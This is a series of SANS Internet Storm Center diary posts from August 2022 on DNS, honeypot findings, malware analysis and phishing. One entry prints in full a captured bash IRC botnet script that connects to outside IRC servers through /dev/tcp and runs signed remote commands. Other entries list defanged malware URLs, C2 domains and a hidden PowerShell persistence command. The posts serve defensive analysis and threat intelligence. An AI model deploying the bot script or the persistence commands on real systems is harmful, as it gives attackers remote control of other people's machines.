Diaries

Published: 2022-08-31

Underscores and DNS: The Privacy Story

The use of underscores in DNS records can easily trigger DNS purists into a rage. Since the beginning of (DNS) time, only the letters a-z, numbers, and dashes are allowed in DNS labels (RFC 1035 section 2.3.1). After all, we want to remain compatible with ARPANET.

So but what about DNS records like "dkim._domainkey.1105info.com"? Clearly, there is an underscore. Is this valid? The simple justification is that these are TXT records, not host names. So the ARPANET backward compatibility doesn't apply, and underscores are okay.

But that isn't all. I noticed a while ago (maybe I already wrote about it a couple of years back but forgot about it... anyway, the question came up again earlier today....

Let's check out the query Arkime parsed so nicely for us:

Here we request an "A" record for "_.weread.qq.com." So what's that about? The destination, %%ip:123.151.137.18%%, is a valid name server for qq.com:

% dig qq.com NS +short
ns2.qq.com.
ns3.qq.com.
ns4.qq.com.
ns1.qq.com.
% dig qq.com A ns2.qq.com +short
183.3.226.35
61.129.7.47
123.151.137.18

So we expect to hit that server as our recursive server (the query source) attempts to resolve example.weread.qq.com. According to textbook/classroom examples, Recursive name servers send the hostname they are attempting to resolve to root nameservers, TLD nameservers, and so on until they get the answer. But the makers of BIND saw a privacy issue here and also, in some ways, a performance issue. For example, you have users resolve 1.example.com, 2.example.com, and so on. These are considered distinct queries, and you are not taking advantage of caching. But if for both, you use _.example.com, caching may help you to find the NS records faster. 

So BIND started sending _.example.com as part of its recursion process. Is this RFC compliant? Sure it is. There is a specific RFC, RFC 7816, describing this feature. This RFC is based on the principle that "the less data you send out, the fewer privacy problems you have." [RFC 6973]

This behavior is only seen for recursive name servers. Forwarding name servers will let the recursive server they connect worry about this. But if you see these hostnames in your logs: There is nothing to worry about, just a name server trying to keep you believing in privacy on the internet. Not sure which name servers other than BIND do use QNAME minimization.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-30

Two things that will never die: bash scripts and IRC!

Last week, Brock Perry, one of our SANS.edu undergraduate students, came across a neat bash script uploaded to the honeypot as part of an attack. I am sure this isn't new, but I never quite saw something like this before myself.

The bash script implements a basic IRC-based command and control channel, all in bash. It even verifies commands using digital signatures. The attack targeted Raspberry Pis via SSH using the default password. Raspberry Pis have not enabled ssh by default in years, but I guess there are still some out here that have not been taken over yet. Brock put together an excellent graphic illustrating the attack:

 

But the real gem here is the "$BOT" bash script which is part of the green section in the diagram. I added comments to the script below.

#!/bin/bash

# use the letter "a" followed by the last few digits of the md5sum of "uname -a" as IRC NICK.
# Not great, I think. Many systems will have the same kernel version and possibly the same hostname. 

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}

# main "IRC Loop"
while [ true ]; do

                 # connect to a random Undernet server

        arr[0]="ix1.undernet.org"
        arr[1]="ix2.undernet.org"
        arr[2]="Ashburn.Va.Us.UnderNet.org"
        arr[3]="Bucharest.RO.EU.Undernet.Org"
        arr[4]="Budapest.HU.EU.UnderNet.org"
        arr[5]="Chicago.IL.US.Undernet.org"
        rand=$[$RANDOM % 6]
        svr=${arr[$rand]}

                 # poor man's Netcat, just pipe to /dev/tcp

        eval 'exec 3<>/dev/tcp/$svr/6667;'
        if [[ ! "$?" -eq 0 ]] ; then
                        continue
        fi

        # basic IRC login procedure. Send "NICK" and "USER"

        echo $NICK

        eval 'printf "NICK $NICK\r\n" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
                        continue
        fi
        eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
                continue
        fi

        # Main loop after connected
        while [ true ]; do

                # wait for messages to come in 
                eval "read msg_in <&3;"

                if [[ ! "$?" -eq 0 ]] ; then
                        break
                fi

                # if it is a PING, reply with the correct PONG

                if  [[ "$msg_in" =~ "PING" ]] ; then
                        printf "PONG %s\n" "${msg_in:5}";
                        eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
                        if [[ ! "$?" -eq 0 ]] ; then
                                break
                        fi
                        sleep 1
                        eval 'printf "JOIN #biret\r\n" >&3;'
                        if [[ ! "$?" -eq 0 ]] ; then
                                break
                        fi

                # PRIVMSG is where it gets interesting. These may be commands.
                elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
                        privmsg_h=$(echo $msg_in| cut -d':' -f 3)    # This is the "hash" (signature)
                        privmsg_data=$(echo $msg_in| cut -d':' -f 4).  # the message
                        privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)  # the user it came from

                        # calculate the MD5 hash of the message and compare to the signature

                        # the attacker sent the public key file earlier.

                        hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
                        sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

                        if [[ "$sign" == "$hash" ]] ; then
                                CMD=`echo $privmsg_data | base64 -d -i`
                                RES=`bash -c "$CMD" | base64 -w 0`

                                # if it all works out: execute the command and reply with the output
                                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                                if [[ ! "$?" -eq 0 ]] ; then
                                        break
                                fi
                        fi
                fi
        done
done

 

I am sure this code isn't very robust, and I will not "ding" them on using MD5. It is probably good enough, and I always appreciate a neat tight bash script. Thanks to whoever wrote this to entertain me. (and thanks to Brock for finding this)

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-29

Update: VBA Maldoc & UTF7 (APT-C-35)

In diary entry "VBA Maldoc & UTF7 (APT-C-35)", I analyze a malicious document with VBA code that injects shellcode into the host process. That shellcode is UTF7 encoded.

I did the UTF7 decoding with Python, but that resulted in an error. Still, I instructed Python to ignore that error, and I was able to recover a URL, but it was a bit corrupted (HTTP protocol):

As can be seen, the decoded URL starts with htt//

I took a second look this weekend at this sample, and this time, I used WIN32 API function MultiByteToWideChar (from Python), just like the VBA code does.

I wrote a small decoding function for translate.py:

from ctypes import *

def DecodeUTF7(data):
    result = bytes(10000)
    windll.kernel32.MultiByteToWideChar(65000, 0, data, len(data), result, len(result))
    return result

And then I used this to decode the UTF7 payload. And this time, I deobfuscated the decoded shellcode & strings with xorsearch.

This approach worked, both for the 32-bit and 64-bit shellcode:

This approach (calling WIN32 API from Python) only works on Windows machines.

And you have to be careful not to execute malicious code accidentaly. Here I call a decoding function (MultiByteToWideChar), but if I would call another function that is used in the VBA code (Internal_EnumUILanguages), I would actually execute the shellcode.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-08-28

Dealing With False Positives when Scanning Memory Dumps for Cobalt Strike Beacons

I updated my Cobalt Strike beacon analysis tool 1768.py to deal with false positives in Windows system's memory dumps.

When my tool is given a process memory dump or a system's full memory dump, it will search for the header of a beacon configuration.

This often gives false positives in full memory dumps. I have now introduced a sanity check (option -S), to hide these false positives.

Here is a short howto video.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-08-28

Sysinternals Updates: Sysmon v14.0 and ZoomIt v6.01

Both Sysinternals utilities (Sysmon and ZoomIt) received updates that significantly extends their scope: Sysmon can now also block actions, and ZoomIt can record videos.

Sysmon

Event 27 (FileBlockExecutable) can now be used to block writing of executables to disk, when they match the given conditions.

For example, here I use a rule to block the writing of executables to any file path & name that includes the string Desktop:

ZoomIt

While ZoomIt is not a security tool, it can be handy while presenting to zoom in on your screen.

And now it can record your screen too:

Even if you don't create videos, it can come in handy to quickly record a small howto for your colleagues.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-08-26

HTTP/2 Packet Analysis with Wireshark

I have been getting these queries in my honeypot logs since end of December 2021 and decided to a diary on some of these packets using some basic analysis with Wireshark. Handlers have published a few diaries over the years [1][2][3] regarding this protocol. These packets are from censys.io[4] which is a site that provides internet discovery and inventory like Shodan. In my logs, the activity looked like this:

 

20220822-014547: 192.168.25.9:3389-162.142.125.221:59430 data 
PRI * HTTP/2.0
SM
\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x04\x00\x00Bh\x00\x06\x00\x04\x00\x00\x00\x03\x00\x00\x00

 

Before I update my Wireshark filter, select HTTP2 and add port TCP/3389, the data looked like some kind of HTTP traffic. The payload appears to indicate it is HTTP/2.0 and the protocol need to be updated with port TCP/3389 in order to parse the packet properly.

 

Lets update the configuration preferences to view the activity as HTTP/2. To change the preferences select Edit, Preferences, Protocols, HTTP2 and add port 3389 and apply the change:

 

 

According to RFC 7540, "All frames begin with a fixed 9-octet header followed by a variable- length payload."[6]

 

 

After applying the http2 change to Wireshark, we can now see HTTP2 header corretly decoded as per RFC7540:

 

 

This last picture shows the HTTP2 payload decoded as per RFC 7540 above picture with a Stream length of 24 and its 31 bits (all 0) identifier:

 

 

[1] https://isc.sans.edu/diary/Explicit+Trusted+Proxy+in+HTTP2.0+or...not+so+much/17708
[2] https://isc.sans.edu/diary/RFC+7540+-+HTTP2+protocol/19799
[3] https://isc.sans.edu/diary/Apache+Update%3A+TLS+Certificate+Authentication+Bypass+with+HTTP2+%28CVE-2016-4979%29/21223
[4] https://isc.sans.edu/diary/An+Alternative+to+Shodan%2C+Censys+with+User-Agent+CensysInspect1.1/26718
[5] https://isc.sans.edu/ipinfo.html?ip=162.142.125.221
[6] https://www.rfc-editor.org/rfc/rfc7540.html

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2022-08-26

Paypal Phishing/Coinbase in One Image

There is a current wave of Paypal phishing emails ongoing. I already received a few of them. This time, the spam is based on a simple JPEG image. The subject has always this format (with the date changing):

Your PayPal Order Receipt from Aug 25, 2022

The mail body contains the following image:

As you can read, they mention no mail e-mail them but there is phone number. This number was always the same across the samples I received. When you have a phone number, you call it! So I tried...

I called multiple times, at different hours (I'm based in the CET timezone so I tried to call in the morning, afternoon and evening) but no luck! Nobody picked up the phone. It keeps ringing forever... Some people already reported this number is suspicious[1][2]. If you prepare a phishing attack you expect that victims will call! I'm disappointed by the lack of reactivity! Maybe they filter incoming calls based on the international code? (In my case, I called from a Belgian SIP line, international code +32)

[1] https://whocallsme.com/Phone-Number.aspx/2392063973
[2] https://spamcalls.net/en/number/12392063973

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-08-25

Taking Apart URL Shorteners

Ever get a "shortened" url (bit.ly, tinyurl.com or whatever) and stress about "clicking that link"?  Or worse yet, have that "Oh No" moment after you just clicked it?  Or possibly tripped over such a link during IR and have to investigate it?  Is there a way to look at the link contents without a sandbox with a packet sniffer (or fiddler or burp or similar)? 

This may be old news to some of you, but it's really disturbing how even how many security folks will follow a shortened link.  It's enough of a problem that "de-fanging" links is a standard feature in many mail filter / anti-spam products.

Sure, you could go to an online thing like https://getlinkinfo.com , but you don't know who's running those, or how they unshorten the link - you don't want them to actually navigate to the site (which is the default in curl for instance) - more on this later.  For me, I wanted a CLI script that would take a short URL and return the original link - I might want to run that result through something else (a reputation filter or virustotal for instance).  Let's take a closer look at how we can do that.

Luckily, most of these shorteners are very simple.  Let's look at what's behind a bit.ly request using curl:

curl -k -v -I https://bit.ly/3ABvcy5
*   Trying 67.199.248.11:443...
* Connected to bit.ly (67.199.248.11) port 443 (#0)
* schannel: disabled automatic use of client certificate
* ALPN: offers http/1.1
* ALPN: server accepted http/1.1
> HEAD /3ABvcy5 HTTP/1.1
> Host: bit.ly
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
HTTP/1.1 301 Moved Permanently
< Server: nginx
Server: nginx
< Date: Thu, 25 Aug 2022 12:40:36 GMT
Date: Thu, 25 Aug 2022 12:40:36 GMT
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8
< Content-Length: 108
Content-Length: 108
< Cache-Control: private, max-age=90
Cache-Control: private, max-age=90
< Location: https://isc.sans.edu/
Location: https://isc.sans.edu/
< Via: 1.1 google
Via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

<
* Connection #0 to host bit.ly left intact

Why so many arguments in the curl command?
-k   trust the certificate on the target, without this there's a ton of hoops to jump through to have curl work with https
-v   verbose, since we're investigating here
-I    send a HEAD request instead of a GET, so that we don't risk actually navigating to the target link

Why don't we want to follow the link?  Even if we're using curl so have some decent control over what happens to the returned data (ie, it won't be detonating in the browser), actually hitting the target means our potential adversary now potentially knows we're investigating, or they might think we've actually browsed to the link.  Either way, you don't want to tip your hand to the adversary until it's time to do so.

Looking at the returned data, we see our target "unshortened" link in several places:

curl -k -v -I https://bit.ly/3ABvcy5 2>&1 | grep ://
< Location: https://isc.sans.edu/
Location: https://isc.sans.edu/

Wait, what are that new stuff now?
2>&1 sends STDERR to STDOUT, so that we actually get all that verbose output into an output stream we can work with
grep :// looks for whatever url protocol might have been in the original URL.  We could have used "grep -i https" in this case, but http: or ftp: or tel: or whatever other protocol would have all failed in that case

As we dig further into this, you'll see that mailto: links don't have those two slashes, so we'll have to use a different approach as we go forward.

Looking at several other shorteners (bit.ly, rb.gy, short.io etc), all of the ones I've looked at so far have the "< Location:" tag.  This makes a CLI "unshortener" fairly simple to write, starting with the way we constructed that last set of commands.

This is the final script (windows version since it's %1 instead of $1):

curl -k -v -I %1 2>&1 | grep -i "< location" | cut -d " " -f 3


This takes our first call, looks for that one line "< Location" (case insensitive, sometimes this is lower case).  It then cuts that up into fields using the space character as a delimiter, and returns the third field.

Let's take a look at how this script works using various services:

> unshort  https://bit.ly/3ABvcy5
https://isc.sans.edu/

> unshort  https://4vnx.short.gy/BuB4TW
https://isc.sans.edu/

> unshort  https://tinyurl.com/bdhf48p4
http://isc.sans.edu

> unshort  https://rb.gy/rickpn
http://isc.sans.edu/

This also works for email (mailto:) links and links to phone numbers:

> unshort https://tinyurl.com/3tuudmuv
mailto:rob@coherentsecurity.com

> unshort https://tinyurl.com/3tuudmuv
mailto:rob@coherentsecurity.com

unshort https://tinyurl.com/4zkd52jt
tel://2725035

This even works for the twitter link shortener (t.co):

unshort https://t.co/0BACDYaBmU
https://www.youtube.com/watch?v=dQw4w9WgXcQ

(you should really check out that youtube video)

If you find a link shortener service where this doesn't work please let us know in the comment section?  I'm happy to update this script if needed, I'm finding it pretty useful - if you use it as well share what you can in the comments as well!

... and be sure to check that youtube link  ;-)

===============
Rob VandenBrink
rob@coherentsecurity.com

0 Comments

Published: 2022-08-24

Monster Libra (TA551/Shathak) --> IcedID (Bokbot) --> Cobalt Strike & DarkVNC

Introduction

On Monday, 2022-08-22, I generated an IcedID (Bokbot) infection based on Monster Libra (also known as TA551 or Shathak).  See this tweet thread from @pr0xylife and @Max_Mal_ for details on Monday's specific wave of IcedID infection.  My flow chart on this activity follows.


Shown above:  Flow chart from Monster Libra (TA551/Shathak) IcedID infection on Monday 2022-08-22.

Malware and Artifacts

SHA256 hash: 7d0f80026a49bdc5c9e6b6bb614b37a9edbb0ca50127c7078ff52d4fc729afa8

  • File size: 285,184 bytes
  • File location: hxxp://138.124.183[.]50/barkss/u2lj2R9GN67SRsb7DZYKzF1jBt-yY6AVrA~~/5B6_95Swfy8TXGHD58qeEjYyxRXTL1bqhw~~/
  • File location: File location: C:\Users\[username]\AppData\Local\Temp\iQG29uba.dll
  • File description: 64-bit DLL installer for IcedID from Monster Libra (TA551) URL
  • Run method: rundll32.exe [filename], #1

SHA256 hash: a969f17bf162032878417da351a229a3ef428cac99b485aedbded04f62291dee

  • File size: 615,868 bytes
  • File location: hxxp://satisfyammyz[.]com/
  • File description: gzip binary from satisfyammyz[.]com used to create license.dat and persistent IcedID DLL

SHA256 hash: 1de8b101cf9f0fabc9f086bddb662c89d92c903c5db107910b3898537d4aa8e7

  • File size: 342,218 bytes
  • File location: C:\Users\[username]\AppData\Roaming\IslandDose\license.dat
  • File description: data binary used to run persistent DLL for IcedID
  • Note: this data binary was first submitted to VirusTotal on 2020-07-15

SHA256 hash: 501c05b11d90bbcc5b9439a41a66f9a4e1704447f795ce336492eb5e25c4ef8a

  • File size: 272,896 bytes
  • File location: C:\Users\[username]\AppData\Roaming\[username]\[username]\Kiroepdn3.dll
  • File description: 64-bit persistent DLL for IcedID
  • Run method: rundll32.exe [filename],#1 --tapeeb="[path to license.dat]"

SHA256 hash: e4ffdbfb5878a94d27139e2e7ff3b5b91944e1434935028a3c34894988b353bf

  • File size: 1,018,880 bytes
  • File location: hxxps://rosiyife[.]com/je.dll
  • File location: C:\Users\[username]\AppData\Local\Temp\Ehki64.dll
  • File description: 64-bit DLL for Cobalt Strike stager
  • Run method: regsvr32.exe [filename]

Infection Traffic

MONSTER LIBRA (TA551) URL FOR ICEDID INSTALLER DLL:

  • hxxp://138.124.183[.]50/barkss/u2lj2R9GN67SRsb7DZYKzF1jBt-yY6AVrA~~/5B6_95Swfy8TXGHD58qeEjYyxRXTL1bqhw~~/

ICEDID INSTALLER TRAFFIC FOR GZIP BINARY:

  • 164.92.65[.]3:80 - hxxp://satisfyammyz[.]com/

ICEDID C2 TRAFFIC:

  • 142.93.145[.]128:443 - klareqvino[.]com - HTTPS traffic
  • 46.21.153[.]211:443 - wiandukachelly[.]com - HTTPS traffic
  • 146.190.24[.]131:443 - alohasockstaina[.]com - HTTPS traffic

TRAFFIC FOR COBALT STRIKE STAGER:

  • 213.227.154[.]24:80 - hxxp://rosiyife[.]com/je.dll  (redirects to HTTPS URL)
  • 213.227.154[.]24:443 - hxxps://rosiyife[.]com/je.dll

COBALT STRIKE C2 TRAFFIC:

  • 23.82.141[.]241:443 - jejonebew[.]com - HTTPS traffic

POSSIBLE COBALT STRIKE-RELATED DOMAIN:

  • 64.44.135[.]116:443 - xizojize[.]com - HTTPS traffic

DARK VNC TRAFFIC:

  • 135.181.175[.]108:8080 - encoded/encrypted traffic

Images from the Infection Traffic


Shown above:  Traffic from the infection filtered in Wireshark (1 of 4).


Shown above:  Traffic from the infection filtered in Wireshark (2 of 4).


Shown above:  Traffic from the infection filtered in Wireshark (3 of 4).


Shown above:  Traffic from the infection filtered in Wireshark (4 of 4).

Final Words

We expect to see more of this activity in the coming weeks.

Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2022-08-23

Who's Looking at Your security.txt File?

In April 2022, the RFC related to the small file “security.txt” was released[1]. It was already popular for a while, but an RFC is always a good way to “promote” some best practices! If you're unaware of this file, it helps to communicate security contacts (email addresses, phone, ...) to people who would like to contact you to report an issue with your website or your organization.  This security.txt file was deployed on my websites for a while, and I never really paid attention to its popularity. The ISC also has its one[2].

A few weeks ago, I received a mail from a bug bounty player (or a script kiddie?) who found a critical XSS vulnerability... on one of my honeypots :-). Based on the information provided in my security.txt, he contacted me through this file. So, they became popular? Who visits these files?

I did a quick query on my logs and found some interesting information. The fastest way is to extract all requests to “*/security.txt” in the URI and include the HTTP Referer.

My first hits were in March 2019. As of today, there were 12.649 hits to these files. First, we see a clear trend over the years:

Almost all of them were direct access (without Referer): 12.659

The ones that came from other websites were originating from bug bounty platforms (that could explain the message mentioned above). The most active platform is firebounty.com. The question is now: why do they list me because I never started a bug bounty program? One of my domains is indeed listed:

As you can see, data has been fetched by Onyphe[3], a popular service similar to SHODAN.

Most of the requests were performed without a referer. Let’s have a look at the User-Agents header. I found some crawlers and bots available in the wild:

  • Nuclei
  • Curl
  • Python

The most popular was "Go-http-client/1.1". The other requests were based on classic browsers User-Agent (probably most of them fake).

What about spam? Because when you create such a file, you provide contact details. Honestly, I did not get a huge increase in spam, but for sure, some bots are actively looking at this file.

[1] https://www.rfc-editor.org/rfc/rfc9116
[2] https://isc.sans.edu/.well-known/security.txt
[3] https://www.onyphe.io

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-08-22

32 or 64 bits Malware?

Last week, I was teaching FOR610 in Amsterdam. When we review ASM, we have a module about the difference in 32-bits VS. 64-bits code (how parameters are passed to functions/API calls, calling convention, etc). It's important to have an understanding of this because most computers are build around a 64-bits CPU today. But attackers are still deploying a lot of 32-bits malware for compatibility reasons and also because this code can be run without (if you respect Microsoft guidelines and API's) problems. A student asked me if there was a lot of native 64-bits malware in the wild. Is there a real trend? I decided to have a look at a bunch of samples and see practically if this trend was real.

The problem is to get enough samples. I've my own "malware zoo" but it's pretty small. You can try to get samples from major players like VirusTotal but your API quotas won't probably allow you to download a lot of samples. I decided to have a look at free resources (but still trusted). My choice was to use MalwareBazaar[1]. I like this service provided by abuse.ch. They allow to download samples for free and report also some interesting stats based on YARA rules[2].

I downloaded all daily archives from Feb 27 2020 until last week (217GB of zip archives). To detect if a PE file is 32-bits or 64-bits code, you just check a few bytes at the beginning of the file:

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
00000080: 5045 0000 4c01 0900 8406 f862 0000 0000  PE..L......b....
00000090: 0000 0000 e000 2e03 0b01 0223 0004 ac00  ...........#....
000000a0: 005a e900 0008 0000 b014 0000 0010 0000  .Z..............
000000b0: 0020 ac00 0000 4000 0010 0000 0002 0000  . ....@.........
000000c0: 0400 0000 0100 0000 0400 0000 0000 0000  ................
000000d0: 00c0 e900 0004 0000 179d e900 0200 4001  ..............@.

If you read "PE..L", it's a 32-bits sample, if it's "PE..d". I wrote a quick and dirty YARA rule to match these sequences of bytes:

rule pe32bits
{
    meta:
        description = "Match a 32-bits PE"
    strings:
        $a = {50 45 00 00 4c}
    condition:
        $a in (0..500)
}
rule pe64bits
{
    meta:
        description = "Match a 64-bits PE"
    strings:
        $a = {50 45 00 00 64}
    condition:
        $a in (0..500)
}

 Because I had a lot of ZIP archives to process and to not use too much storage, I used Python to process all files from ZIP archives and use the YARA rule against them. I focussed only on ".exe" and ".dll" files:

#!/usr/bin/python3
import datetime
import glob
import re
import yara
from zipfile import ZipFile
rules = yara.compile(filepath='3264.yar')
print("data,file,arch")
zipList = glob.glob('*.zip')
for zip in zipList:
        day = datetime.datetime.strptime(zip.split(".")[0], '%Y-%m-%d').strftime("%d/%m/%Y %H:%M:%S")
        with ZipFile(zip, 'r') as zipObj:
            zipObj.setpassword(b"infected")
            files = zipObj.infolist()
            for f in files:
                if re.match(r'[0-9]+.*\.(exe|dll)', f.filename):
                    with zipObj.open(f.filename,mode='r') as fdata:
                        matches = rules.match(data=fdata.read())
                        if len(matches) > 0:
                            print("%s,%s,%s" % (day, f.filename, matches[0]))

Let's have a look at the results. I loaded the CSV file in my Splunk.

  • 175.962 samples have been inspected (only EXE & DLL files)
  • 10.952 were detected as 64-bits code (6.224%)
  • Only 1 DLL was detected as 64-bits code (HASH:86150c570e2d253d54fd5f70c9fe62ff37897dc3a7b21658fa891263a843790d)

If we check on a timeline, we have a small trend:

I've no idea about the peak of samples submitted in November 2021 but we see that, especially the last months, they are more and more 64-bits samples in the wild. Can we rely on these statistics? Samples downloaded from MalwareBazaar are only the visible part of the iceberg but, as it became popular, many security researchers use it. If you have other statistics, please share with us!

[1] https://bazaar.abuse.ch
[2] https://bazaar.abuse.ch/export/json/yara-stats/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-08-20

YARA 4.2.3 Released

Version 4.2.3 of YARA was released.

It contains 2 bug fixes, one for a security issue that can lead to arbitrary code execution.

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com

0 Comments

Published: 2022-08-19

Brazil malspam pushes Astaroth (Guildma) malware

Introduction

Today's diary is a quick post of an Astaroth (Guildma) malware infection I generated todayy on Friday 2022-08-19 from a malicious Boleto-themed email pretending to be from Grupo Solução & CIA.  Boleto is a payment method used in Brazil, while Grupo Solução & CIA is Brazil-based company.

Images from the infection


Shown above:  Screenshot of the malicious email with link to download a malicious zip archive.


Shown above:  Link from email leads to web page pretending to be from Docusign that provides malicious zip archive for download.


Shown above:  Downloaded zip archive contains a Windows shortcut and a batch file.  Both are designed to infect a vulnerable Windows host with Astaroth (Guildma).


Shown above:  Traffic from the infection filtered in Wireshark (part 1 of 3).


Shown above:  Traffic from the infection filtered in Wireshark (part 2 of 3).


Shown above:  Artifact from the infected host's C:\Users\Public directory.


Shown above:  Artifact on the infected host's C: drive at C:\J9oIM9J\J9oIM9J.jS.


Shown above:  Windows shortcut in the infected user's Roaming\Microsoft\Windows\Start Menu\Programs\Startup directory to keep the infection persistent.


Shown above:  Directory with persistent files used for the Astaroth (Guildma) infection.


Shown above:  Astaroth (Guildma) performs post-infection data exfiltration through HTTP POST requests.

Indicators of Compromise (IOCs)

Link from email:

  • hxxp://w7oaer.infocloudgruposolucaoecia[.]link/P05dWVqI0WghlU4/UeWgmk3mU3p8yeyxkUgI8Um1R1/65837/gruposolucaoeciainfocloud

IP address and TCP port for initial malicious domain:

  • 172.67.217[.]95 port 80 - w7oaer.infocloudgruposolucaoecia[.]link

URL to legitimate website generated from iframe in the above traffic:

  • hxxp://www.intangiblesearch[.]it/search/home_page.php?db_name=%3Cscript%20src=%22https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js%22%3E%3C/script%3E%3Cscript%20type=%22text/javascript%22%20src=%22hxxp://w7oaer.infocloudgruposolucaoecia[.]link/P05dWVqI0WghlU4/UeWgmk3mU3p8yeyxkUgI8Um1R1/65837/gruposolucaoeciainfocloudAvDk.T036%22%3E%3C/script%3E?

Traffic to initial malicious domain that provides zip archive download:

  • hxxp://w7oaer.infocloudgruposolucaoecia[.]link/P05dWVqI0WghlU4/UeWgmk3mU3p8yeyxkUgI8Um1R1/65837/gruposolucaoeciainfocloudAvDk.T036
  • hxxp://w7oaer.infocloudgruposolucaoecia[.]link//inc.php?/gruposolucaoeciainfocloud
  • hxxp://w7oaer.infocloudgruposolucaoecia[.]link/YBZJPTBQV/482NJ8NS74J9/N6D6WW/gruposolucaoeciainfocloud_097.88933.61414z64y64

Traffic generated by Windows shortcut or batch file from the downloaded zip archive:

  • 172.67.212[.]174:80 ahaaer.pfktaacgojiozfehwkkimhkbkm[.]cfd GET /?1/
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?59792746413628799
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?59792746413628799
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?33954141807632999
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?33954141807632999
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?71576927405639060
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?71576927405639060
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?59784568396678051
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?59784568396678051
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?40018133101693668
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?40018133101693668
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs HEAD /?33450285101613952
  • 104.21.11[.]4:80 cteasc.ijnkwnkxeguxaxmldwyogggwfk[.]sbs GET /?33450285101613952

Data exfiltration through HTTP POST requests:

  • 104.21.25[.]34:80 hcu11m2mkk2.rouepcgomfhejergdahjcfcugarfcmoa[.]tk POST /
  • 172.67.165[.]46:80 j2vfrc7gddo.aeabihjpejprueuibdjmhfmdcpsfr[.]gq POST /

Example of downloaded zip archive:

SHA256 hash: f254f9deeb61f0a53e021c6c0859ba4e745169322fe2fb91ad2875f5bf077300

  • File size: 1,091 bytes
  • File name: gruposolucaoeciainfocloud_097.88933.61414.zip

Contents from the above zip archive:

SHA256 hash: 5ca1e9f0e79185dde9655376b8cecc29193ad3e933c7b93dc1a6ce2a60e63bba

  • File size: 338 bytes
  • File name: gruposolucaoeciainfocloud_097.88933157.086456.45192.cmd

SHA256 hash: db136e87a5835e56d39c225e00b675727dc73a788f90882ad81a1500ac0a17d6

  • File size: 1,341 bytes
  • File name: gruposolucaoeciainfocloud_097.88933157.086456.45192.lNk

Command from Windows shortcut in Windows Startup folder on the infected Windows host:

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.exe C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.log

Files used for persistent infection:

SHA256 hash: 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

  • File size: 893,608 bytes
  • File location: C:\W45784602214\Asus.CertificateValidation.2022.1728.641.AutoIt3.exe
  • File description: Windows EXE for AutoIt v3, not inherently malicious

SHA256 hash: e31658734d3e0de1d2764636d1b8726f0f8319b0e50b87e5949ec162ae1c0050

  • File size: 246,116 bytes
